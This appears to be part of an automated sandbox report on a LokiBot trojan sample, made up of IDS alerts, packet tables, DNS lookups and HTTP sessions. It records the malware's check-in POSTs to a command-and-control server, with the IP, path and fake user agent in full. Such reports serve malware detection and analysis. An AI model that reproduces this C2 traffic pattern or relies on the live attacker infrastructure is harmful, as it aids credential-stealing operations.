03/15/21-20:02:45.156696	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49821	87.251.79.157	192.168.2.5
03/15/21-20:02:45.404134	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49822	80	192.168.2.5	87.251.79.157
03/15/21-20:02:45.404134	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49822	80	192.168.2.5	87.251.79.157
03/15/21-20:02:45.404134	TCP	2025381	ET TROJAN LokiBot Checkin	49822	80	192.168.2.5	87.251.79.157
03/15/21-20:02:45.404134	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49822	80	192.168.2.5	87.251.79.157
03/15/21-20:02:50.932725	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49822	87.251.79.157	192.168.2.5
03/15/21-20:02:51.159157	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49823	80	192.168.2.5	87.251.79.157
03/15/21-20:02:51.159157	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49823	80	192.168.2.5	87.251.79.157
03/15/21-20:02:51.159157	TCP	2025381	ET TROJAN LokiBot Checkin	49823	80	192.168.2.5	87.251.79.157
03/15/21-20:02:51.159157	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49823	80	192.168.2.5	87.251.79.157
03/15/21-20:02:51.427690	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49823	87.251.79.157	192.168.2.5
03/15/21-20:02:51.665948	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49824	80	192.168.2.5	87.251.79.157
03/15/21-20:02:51.665948	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49824	80	192.168.2.5	87.251.79.157
03/15/21-20:02:51.665948	TCP	2025381	ET TROJAN LokiBot Checkin	49824	80	192.168.2.5	87.251.79.157
03/15/21-20:02:51.665948	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49824	80	192.168.2.5	87.251.79.157
03/15/21-20:02:51.919107	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49824	87.251.79.157	192.168.2.5
03/15/21-20:02:52.168227	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49825	80	192.168.2.5	87.251.79.157
03/15/21-20:02:52.168227	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49825	80	192.168.2.5	87.251.79.157
03/15/21-20:02:52.168227	TCP	2025381	ET TROJAN LokiBot Checkin	49825	80	192.168.2.5	87.251.79.157
03/15/21-20:02:52.168227	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49825	80	192.168.2.5	87.251.79.157
03/15/21-20:02:52.854739	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49825	87.251.79.157	192.168.2.5
03/15/21-20:02:53.077609	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49826	80	192.168.2.5	87.251.79.157
03/15/21-20:02:53.077609	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49826	80	192.168.2.5	87.251.79.157
03/15/21-20:02:53.077609	TCP	2025381	ET TROJAN LokiBot Checkin	49826	80	192.168.2.5	87.251.79.157
03/15/21-20:02:53.077609	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49826	80	192.168.2.5	87.251.79.157
03/15/21-20:02:53.321754	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49826	87.251.79.157	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 15, 2021 20:00:48.721120119 CET	49691	80	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:48.772358894 CET	80	49691	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:48.772461891 CET	49691	80	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:48.773063898 CET	49691	80	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:48.824127913 CET	80	49691	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:48.883388996 CET	80	49691	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:48.933109999 CET	49691	80	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:48.959336996 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.010942936 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.011024952 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.052150965 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.104897976 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.109785080 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.109810114 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.109884977 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.125053883 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.177985907 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.179949999 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.230036974 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.289216042 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.340867043 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.501302004 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.501322985 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.501339912 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.501354933 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.501368046 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.501380920 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.501406908 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.501410961 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.501422882 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.501451015 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.501486063 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.501840115 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.501859903 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.501916885 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.502463102 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.502480984 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.502571106 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.711114883 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.711138964 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.711291075 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.711304903 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.711324930 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.711406946 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.711945057 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.711985111 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.712045908 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.713184118 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.713202953 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.713274956 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.714385033 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.714405060 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.714484930 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.715632915 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.715652943 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.715719938 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.716794968 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.716821909 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.716907024 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.717988014 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.718014956 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.718077898 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.719202042 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.719223022 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.719294071 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.720401049 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.720427036 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.720494986 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.721604109 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.721622944 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.721698046 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.722839117 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.722857952 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.722933054 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.724030018 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.724051952 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.724123001 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.725243092 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.725259066 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.725316048 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.726453066 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.726480961 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.726566076 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.727648020 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.727672100 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.727732897 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.728842974 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.728863001 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.728945017 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.730045080 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.730086088 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.730151892 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.731267929 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.731287003 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.731388092 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.763952017 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.763977051 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.764108896 CET	49692	443	192.168.2.5	172.67.197.219
Mar 15, 2021 20:00:49.764483929 CET	443	49692	172.67.197.219	192.168.2.5
Mar 15, 2021 20:00:49.764501095 CET	443	49692	172.67.197.219	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 15, 2021 20:00:34.677200079 CET	57587	53	192.168.2.5	8.8.8.8
Mar 15, 2021 20:00:34.726097107 CET	53	57587	8.8.8.8	192.168.2.5
Mar 15, 2021 20:00:37.837224960 CET	55432	53	192.168.2.5	8.8.8.8
Mar 15, 2021 20:00:37.899475098 CET	53	55432	8.8.8.8	192.168.2.5
Mar 15, 2021 20:00:39.049635887 CET	64936	53	192.168.2.5	8.8.8.8
Mar 15, 2021 20:00:39.107146978 CET	53	64936	8.8.8.8	192.168.2.5
Mar 15, 2021 20:00:40.294750929 CET	52704	53	192.168.2.5	8.8.8.8
Mar 15, 2021 20:00:40.346502066 CET	53	52704	8.8.8.8	192.168.2.5
Mar 15, 2021 20:00:41.427320957 CET	52212	53	192.168.2.5	8.8.8.8
Mar 15, 2021 20:00:41.476124048 CET	53	52212	8.8.8.8	192.168.2.5
Mar 15, 2021 20:00:42.585253954 CET	54302	53	192.168.2.5	8.8.8.8
Mar 15, 2021 20:00:42.634099007 CET	53	54302	8.8.8.8	192.168.2.5
Mar 15, 2021 20:00:43.836338043 CET	53784	53	192.168.2.5	8.8.8.8
Mar 15, 2021 20:00:43.888134003 CET	53	53784	8.8.8.8	192.168.2.5
Mar 15, 2021 20:00:45.193048954 CET	65307	53	192.168.2.5	8.8.8.8
Mar 15, 2021 20:00:45.241710901 CET	53	65307	8.8.8.8	192.168.2.5
Mar 15, 2021 20:00:46.026055098 CET	64344	53	192.168.2.5	8.8.8.8
Mar 15, 2021 20:00:46.086394072 CET	53	64344	8.8.8.8	192.168.2.5
Mar 15, 2021 20:00:48.640778065 CET	62060	53	192.168.2.5	8.8.8.8
Mar 15, 2021 20:00:48.692806959 CET	53	62060	8.8.8.8	192.168.2.5
Mar 15, 2021 20:00:48.898298979 CET	61805	53	192.168.2.5	8.8.8.8
Mar 15, 2021 20:00:48.957503080 CET	53	61805	8.8.8.8	192.168.2.5
Mar 15, 2021 20:00:57.565490007 CET	54795	53	192.168.2.5	8.8.8.8
Mar 15, 2021 20:00:57.639827967 CET	53	54795	8.8.8.8	192.168.2.5
Mar 15, 2021 20:01:09.980295897 CET	49557	53	192.168.2.5	8.8.8.8
Mar 15, 2021 20:01:10.031935930 CET	53	49557	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Mar 15, 2021 20:00:48.640778065 CET	192.168.2.5	8.8.8.8	0x2b53	Standard query (0)	liverpooldabestteamoftheworld.com	A (IP address)	IN (0x0001)
Mar 15, 2021 20:00:48.898298979 CET	192.168.2.5	8.8.8.8	0xbfbe	Standard query (0)	liverpooldabestteamoftheworld.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Mar 15, 2021 20:00:48.692806959 CET	8.8.8.8	192.168.2.5	0x2b53	No error (0)	liverpooldabestteamoftheworld.com	172.67.197.219	A (IP address)	IN (0x0001)
Mar 15, 2021 20:00:48.692806959 CET	8.8.8.8	192.168.2.5	0x2b53	No error (0)	liverpooldabestteamoftheworld.com	104.21.52.98	A (IP address)	IN (0x0001)
Mar 15, 2021 20:00:48.957503080 CET	8.8.8.8	192.168.2.5	0xbfbe	No error (0)	liverpooldabestteamoftheworld.com	172.67.197.219	A (IP address)	IN (0x0001)
Mar 15, 2021 20:00:48.957503080 CET	8.8.8.8	192.168.2.5	0xbfbe	No error (0)	liverpooldabestteamoftheworld.com	104.21.52.98	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

liverpooldabestteamoftheworld.com

87.251.79.157

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49691	172.67.197.219	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:00:48.773063898 CET	289	OUT	GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0E44846E8DBE171CF83840F8DBF160DC.html HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41 Host: liverpooldabestteamoftheworld.com Connection: Keep-Alive
Mar 15, 2021 20:00:48.883388996 CET	290	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 15 Mar 2021 19:00:48 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 15 Mar 2021 20:00:48 GMT Location: https://liverpooldabestteamoftheworld.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0E44846E8DBE171CF83840F8DBF160DC.html cf-request-id: 08d8dc362d00002d1fd7b59000000001 Report-To: {"max_age":604800,"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=Y5u39yhLVT6B3hK9UpdkkiTmNrW2jcGYb%2FRiFF%2FyJ%2Bwq%2F19s%2FRFdow0Sq4pj6bguojspKZszWn7HPTnaKnw83ItNiwuOda6KPh5XUo6xxtDICWuOJVly2IGTAc7udn04XaY%3D"}]} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6307fc9d09112d1f-LHR alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49696	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:00:59.299750090 CET	1132	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 192 Connection: close
Mar 15, 2021 20:00:59.613749027 CET	1133	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:00:59 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 15 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49706	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:10.247131109 CET	1145	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:10.543725967 CET	1150	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:10 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.5	49796	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.5	49797	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.5	49798	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.5	49799	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.5	49800	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.5	49801	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.5	49802	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.5	49803	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.5	49804	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.5	49805	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49707	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:10.814029932 CET	1154	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:11.073518991 CET	1157	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:10 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.5	49806	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.5	49807	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.5	49808	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.5	49809	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.5	49810	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.5	49811	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.5	49812	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.5	49813	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.5	49814	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.5	49815	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49708	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:11.333466053 CET	1158	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:11.586393118 CET	1159	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:11 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.5	49816	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.5	49817	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.5	49818	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.5	49819	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.5	49820	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.5	49821	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.5	49822	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.5	49823	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.5	49824	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.5	49825	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.5	49709	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:11.848732948 CET	1160	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
